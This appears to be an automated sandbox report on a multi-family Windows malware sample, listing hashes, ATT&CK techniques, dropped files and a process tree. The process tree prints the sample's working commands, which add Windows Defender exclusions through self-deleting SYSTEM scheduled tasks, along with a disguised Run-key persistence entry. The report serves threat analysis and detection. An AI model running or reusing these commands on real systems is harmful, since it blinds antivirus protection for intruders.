f5a8ce2016300d7c5a24b13d111aea95ab38077c411501e16c1b1d5f6649c1e8

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/10/2026, 15:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
Size 34.6MB
Sample261026-slc5esbd34
SHA256 f5a8ce2016300d7c5a24b13d111aea95ab38077c411501e16c1b1d5f6649c1e8
MD5 b50b1a3eb9283268d95eae672ff8341c
SHA1 2871ed55ac4eef017ad8a2357331ef91e61a3968
SHA512 c6da0c47425dbf83fec5893460fd36435be0b010b74147bfad53ccb4acd717b69127392bf5a9a8523d4b8bf5acefb1a7aa04afc62737eb126afc1ed1dd0e9d7b
SSDEEP 98304:w6ukQmHTpksa7ffG6slKxMzfM3nJ76KVfMYrvjgAX:rukQmH0HmKxofM3nl6UfMYrLgAX
TLSH
T12B876F22B6428CD2F00285F45897BBA427FEFCB18AD1C71336E95B1E6FAE18C8D57055
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\VTxcaF = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\International\Geo\Nation	3RWVC8.exe

Executes dropped EXE 2 IoCs

pid	Process
2000	3RWVC8.exe
4680	3RWVC8.exe

Loads dropped DLL 2 IoCs

pid	Process
2000	3RWVC8.exe
4680	3RWVC8.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\VTxcaF\\3RWVC8.exe\""	3RWVC8.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2264	cmd.exe
1724	cmd.exe
4684	cmd.exe
4216	cmd.exe
4352	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	3RWVC8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3484	cmd.exe
1560	cmd.exe
3872	cmd.exe
3228	cmd.exe
4132	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	3RWVC8.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	3RWVC8.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3120	schtasks.exe
2172	schtasks.exe
3700	schtasks.exe
5032	schtasks.exe
4100	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2624	2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe
2000	3RWVC8.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 4684	2000	3RWVC8.exe	100
PID 4684 wrote to memory of 4100	4684	cmd.exe	103
PID 4684 wrote to memory of 4776	4684	cmd.exe	104
PID 4684 wrote to memory of 404	4684	cmd.exe	107
PID 2000 wrote to memory of 4216	2000	3RWVC8.exe	109
PID 4216 wrote to memory of 3120	4216	cmd.exe	111
PID 4216 wrote to memory of 4488	4216	cmd.exe	113
PID 4216 wrote to memory of 412	4216	cmd.exe	115
PID 2000 wrote to memory of 4352	2000	3RWVC8.exe	117
PID 4132 wrote to memory of 3760	4132	cmd.exe	119
PID 4352 wrote to memory of 2172	4352	cmd.exe	120
PID 4352 wrote to memory of 456	4352	cmd.exe	121
PID 3228 wrote to memory of 4152	3228	cmd.exe	122
PID 4352 wrote to memory of 4272	4352	cmd.exe	124
PID 3484 wrote to memory of 3280	3484	cmd.exe	126
PID 2000 wrote to memory of 2264	2000	3RWVC8.exe	127
PID 2264 wrote to memory of 3700	2264	cmd.exe	129
PID 2264 wrote to memory of 4340	2264	cmd.exe	130
PID 2264 wrote to memory of 1392	2264	cmd.exe	133
PID 1560 wrote to memory of 4532	1560	cmd.exe	134
PID 2000 wrote to memory of 1724	2000	3RWVC8.exe	135
PID 1724 wrote to memory of 5032	1724	cmd.exe	137
PID 1724 wrote to memory of 4204	1724	cmd.exe	138
PID 1724 wrote to memory of 1112	1724	cmd.exe	140
PID 3872 wrote to memory of 2440	3872	cmd.exe	142

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-25_b50b1a3eb9283268d95eae672ff8341c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2624

C:\Users\Public\VTxcaF\3RWVC8.exe
C:\Users\Public\VTxcaF\3RWVC8.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\VTxcaF\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4684
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\VTxcaF\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4776
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4216
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3120
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4488
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2172
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4340
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5032
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4204
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1112

C:\Users\Public\VTxcaF\3RWVC8.exe
"C:\Users\Public\VTxcaF\3RWVC8.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4680

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\VTxcaF" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3228
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\VTxcaF" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4152

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5052

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4132
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3760

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3484
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3280

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1560
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4532

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3872
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 2ab152d9e562614ccde38104793c0d65e004cff8b11e33f6fe92c5e9fd62094e
MD5 56b7dad3dcb93afa3a51633e26ff8251
SHA1 aa441b156e3d02771b19e5c334257ffc2a4e871c
SHA512 ab2e58181346749db70ded5737e943a2a0ec670d410335dc71cf07c9602400e78fa0b6a944bb6baf2382a5568f417ccb62081a787c3a48a7d9bfe99a4d466758
TLSH
T1CB31C6EB1F7DBC428F7A8C5111C9B2212CE9E1D05CC7449E215DC8948F483B72F0A91C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 4835ef6d4265cfd72d28fa6617efee0bafca8bb03ee17b99967bfd618056fa93
MD5 6ca6ac9a3812ac414abfad6791dffd34
SHA1 400267315bdf8cc5f1d91e8ebf0243f6165452a6
SHA512 f9c5290e4137a378fc62f378b52a67934d868f79cc31fa79277c1373626794a9e129d89dee80a86a38cc2e2384c9095f9fbfdc192daf175dbe60e0ea3b1d3198
TLSH
T15B31D4838E790002EB0C8F7812D5D23BBCF4A6758CE84C15A93ED12B8A1E7B75F85815
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 3928a332645c491f78ecd4faec43f8bf29d1e3177b3c391783c36137ddda63e9
MD5 912db4d265a1c86398de320a2da08768
SHA1 4eee3c341562e0375c8c2a04e90b24c5671d32e7
SHA512 144c751cfff2ac61cc484d44053bc23d065f8afce739cef18fea4a80148cfc51e5dbe9ef6e6c2b3b2d0df14b52359e1d615bf3d839defa72edd0e4e3d1a55433
TLSH
T1D9F05C1849FC522EF233D9384BC93BF65A6BF60B180945F407E88708E142D166E9157D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 86dd5ea53d069f5e325569fa0b4ba4e68619740a8f093ab7ea7f026d3ba72dcb
MD5 0fb725f74de9f5422405acb6411e2615
SHA1 57138582cebdbca4fd17e62bc5d89abadc640b35
SHA512 ebe81c5c0081b10e36eb92574ac5bf8556f1c2916c52a6328c950977329b49ebc646ad217fd7a1113091a4ec7837e403c7530c3e9f8d3d8dca09006bee69685b
TLSH
T1DDF05C3D42EA412BF13AF6F466D736A2A92FE622344671BA09FA03445F91C005C9236C
MD5 SHA1 SHA512 TLSH

Submit Download

3RWVC8.exe

Path C:\Users\Public\VTxcaF\3RWVC8.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\VTxcaF\UxEnhance64.dll
Size 3.1MB
SHA256 93c3b37e66edb4031ff3243c724484ab17c2a6352b07ca84ee28084b26bf9113
MD5 40f4364f97b20916aae39d233841164d
SHA1 0bcbc9ecb4fd3c98b71d74431cacc79983965d75
SHA512 a0f9afc2cf458797f796a76c6bff692e6ed453a1a6d0e62bd752ce4ca610b196134b37d6b8bba94455f320edf72699f8b6bc3d32d6c74207d48125a7d71f326b
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+F:P9m29xx3Tiqt06ox6+z2rNNrKoF
TLSH
T126E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\VTxcaF\adoresd.dat
Size 4.8MB
SHA256 570778428d80bb812be7e7dcde126a46b6a20acbc31b4c9276ef18dabec84942
MD5 a25307503b5a46cfe078a954de60cc71
SHA1 8318c5a88758f190791afab3b611a3a3d62083c5
SHA512 61ac6125a879d23a2876bc0eab5acd561ae1bc7acdc9ff7bfe5f09bbe117d1ed5d2b2203801cd0bb9ed8e17e8aa62f4c7ac008af5c995bf73983eb2a5078a70b
SSDEEP 98304:ZWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:ZWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1A03633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\VTxcaF\msadox.tb
Size 8KB
SHA256 c5c8906e10250230707e1864ab2e5f99b44b091d1679c178190c53f55b4698d2
MD5 93d993226eaebd7b6619c0cf8b49ff4e
SHA1 89e4d1165bbd098a2f59bf9fdb362e28ee8e330f
SHA512 e2634e97ab760e5efa66ad02901f3d70141eb8d153d233417726642723688e9ca3911ffc10b278a6eaef20e2c8fe46e6dacb11758f2104ad6da9b1ffd4dec154
SSDEEP 192:JqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:JsZqZOXQ3uqvR2Kfzp
TLSH
T1CA029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2000-562-0x000002473F860000-0x000002473F8EA000-memory.dmp

Download

memory/2000-561-0x000002473F860000-0x000002473F8EA000-memory.dmp

Download

memory/2000-595-0x000002473EBA0000-0x000002473F477000-memory.dmp

Download

memory/2000-535-0x000002473EBA0000-0x000002473F477000-memory.dmp

Download

memory/2000-538-0x000002473EBA0000-0x000002473F477000-memory.dmp

Download

memory/2000-542-0x000002473EBA0000-0x000002473F477000-memory.dmp

Download

memory/2000-543-0x000002473EBA0000-0x000002473F477000-memory.dmp

Download

memory/2000-545-0x000002473EBA0000-0x000002473F477000-memory.dmp

Download

